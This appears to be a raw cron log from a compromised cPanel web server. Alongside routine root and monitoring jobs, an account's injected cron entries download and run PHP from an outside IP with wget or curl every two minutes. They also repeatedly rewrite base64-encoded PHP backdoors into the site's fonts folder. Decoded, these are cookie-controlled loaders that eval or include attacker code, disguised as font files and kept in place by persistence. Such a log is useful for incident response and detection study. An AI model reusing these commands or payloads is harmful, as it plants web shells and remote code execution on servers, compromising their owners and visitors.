Sep  5 18:50:02 ip-184-168-122-23 CROND[2639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:51:01 ip-184-168-122-23 CROND[2826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:51:01 ip-184-168-122-23 CROND[2827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:51:01 ip-184-168-122-23 CROND[2828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:51:01 ip-184-168-122-23 CROND[2829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:52:01 ip-184-168-122-23 CROND[2997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:52:01 ip-184-168-122-23 CROND[2999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:52:01 ip-184-168-122-23 CROND[3000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:52:01 ip-184-168-122-23 CROND[3001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:52:01 ip-184-168-122-23 CROND[3002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:53:01 ip-184-168-122-23 CROND[3216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:53:01 ip-184-168-122-23 CROND[3218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:53:01 ip-184-168-122-23 CROND[3219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:53:01 ip-184-168-122-23 CROND[3220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:54:01 ip-184-168-122-23 CROND[3307]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:54:01 ip-184-168-122-23 CROND[3305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:54:01 ip-184-168-122-23 CROND[3304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:54:01 ip-184-168-122-23 CROND[3308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:54:01 ip-184-168-122-23 CROND[3306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:55:01 ip-184-168-122-23 CROND[3401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:55:01 ip-184-168-122-23 CROND[3403]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:55:01 ip-184-168-122-23 CROND[3404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:55:01 ip-184-168-122-23 CROND[3406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:55:01 ip-184-168-122-23 CROND[3405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:55:01 ip-184-168-122-23 CROND[3407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:56:01 ip-184-168-122-23 CROND[3535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:56:01 ip-184-168-122-23 CROND[3539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:56:01 ip-184-168-122-23 CROND[3540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:56:01 ip-184-168-122-23 CROND[3538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:56:01 ip-184-168-122-23 CROND[3543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:57:01 ip-184-168-122-23 CROND[3937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:57:01 ip-184-168-122-23 CROND[3939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:57:01 ip-184-168-122-23 CROND[3938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:57:01 ip-184-168-122-23 CROND[3940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:58:01 ip-184-168-122-23 CROND[4410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 18:58:01 ip-184-168-122-23 CROND[4412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 18:58:01 ip-184-168-122-23 CROND[4414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:58:01 ip-184-168-122-23 CROND[4413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:58:01 ip-184-168-122-23 CROND[4416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:59:01 ip-184-168-122-23 CROND[4804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 18:59:01 ip-184-168-122-23 CROND[4803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:59:01 ip-184-168-122-23 CROND[4805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:59:01 ip-184-168-122-23 CROND[4806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:00:01 ip-184-168-122-23 CROND[5186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:00:01 ip-184-168-122-23 CROND[5188]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:00:01 ip-184-168-122-23 CROND[5189]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:00:01 ip-184-168-122-23 CROND[5190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:00:01 ip-184-168-122-23 CROND[5193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:00:01 ip-184-168-122-23 CROND[5191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:00:01 ip-184-168-122-23 CROND[5194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:00:01 ip-184-168-122-23 CROND[5196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:01:01 ip-184-168-122-23 CROND[5542]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 19:01:01 ip-184-168-122-23 CROND[5545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:01:01 ip-184-168-122-23 CROND[5543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:01:01 ip-184-168-122-23 CROND[5547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:01:01 ip-184-168-122-23 CROND[5544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:01:01 ip-184-168-122-23 CROND[5546]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5542]: starting 0anacron
Sep  5 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[5564]: finished 0anacron
Sep  5 19:02:01 ip-184-168-122-23 CROND[5936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 19:02:01 ip-184-168-122-23 CROND[5937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 19:02:01 ip-184-168-122-23 CROND[5938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 19:02:01 ip-184-168-122-23 CROND[5939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:02:01 ip-184-168-122-23 CROND[5935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
